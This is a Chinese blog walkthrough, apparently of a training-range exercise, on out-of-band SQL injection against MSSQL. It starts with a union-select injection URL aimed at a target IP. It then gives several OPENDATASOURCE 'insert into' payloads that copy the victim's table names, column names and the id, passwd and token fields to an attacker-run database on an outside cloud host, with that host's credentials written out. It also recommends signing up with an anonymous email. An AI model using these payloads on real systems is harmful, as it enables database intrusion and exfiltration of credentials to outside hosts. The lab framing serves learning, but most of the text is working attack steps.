mysql反弹注入平台_MSSQL-反弹注入

工具:香港云免费云服务器:http://www.webweb.com

注册使用匿名邮箱:https://bccto.me/

香港云服务器搭建MSSQL数据库,并建表admin,字段数要大于等于我们想要获取的表。

5290222dde37c69f3286e3ba217f1a45.png

闭合;

94ae3371a2573debc87d59e112483487.png

通过order by查询到表中为三字段。后来通过问别人知道里面还有一字段类型是二进制大对象 不支持order by——-所以说是四个字段,建表时尽可能多建吧。

先按照视频上讲的对靶场数据库进行表名,字段名查询常规操作,便于理解,但是实际反弹注入中可能不会出现:

查表名:http://59.63.200.79:8015/?id=1%27%20union%20select%20id,name,null%20from%20sysobjects%20where%20xtype=%27U%27--+

c9916ba3e3710d97f3302c99b0791cd3.png

查表中内容:

bc6963d435917d051bc54a25a2f86083.png

查出了id、passwd、token。其中token可能就是flag.

接下来尝试反弹注入:

注册香港云:

账号:saddadsadadsa

香港运登录密码:12345678

数据库库名:DB_14B8A3E_AAAA

数据库密码:12345678

数据库链接地址:SQL5006.webweb.com

数据库用户名:DB_14B8A3E_AAAA_admin

在香港云的数据库中创建一个大于三字段的表,用来接收数据。

0374a4b2b0643fbded32ad9bc10e8ec0.png

我们创建了一个叫admin的四字段表用来接收反弹注入数据;

构建语句:insert

into

opendatasource(‘sqloledb’,’server=SQL5006.webweb.com,1433;uid=DB_14B8A3E_AAAA_admin;pwd=12345678;database=DB_14B8A3E_AAAA’).DB_14B8A3E_AAAA.dbo.admin

select * from admin —+

执行状况:

8710d718fce188b502622032ecccbe2f.png

获得flag.当然这里数据只有一条,实战中应该结合系统自代表一步步查询。

insert

into

opendatasource(‘sqloledb’,’server=SQL5006.webweb.com,1433;uid=DB_14B8A3E_AAAA_admin;pwd=12345678;database=DB_14B8A3E_AAAA’).DB_14B8A3E_AAAA.dbo.admin

select null,null,name,null from sysobjects where xtype=’U’ —+

查询出所有用户创建表:

4cac6875f56bf215c70355546aaad774.png

ca75a8753a0d51ba5dc1b1ce13406c30.png

获得表的id。

查询admin表中字段:insert

into

opendatasource(‘sqloledb’,’server=SQL5006.webweb.com,1433;uid=DB_14B8A3E_AAAA_admin;pwd=12345678;database=DB_14B8A3E_AAAA’).DB_14B8A3E_AAAA.dbo.admin

select * from syscolumns where id=1977058079 —+

ef4d2318038663b0fc3597cc152a2a2f.png

获得字段.

获得表中数据:insert

into

opendatasource(‘sqloledb’,’server=SQL5006.webweb.com,1433;uid=DB_14B8A3E_AAAA_admin;pwd=12345678;database=DB_14B8A3E_AAAA’).DB_14B8A3E_AAAA.dbo.admin

select%20 id,passwd,token,username from admin —+

5ac7c5668abfbbfab5b449cc99f78ddb.png

获得flag.

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值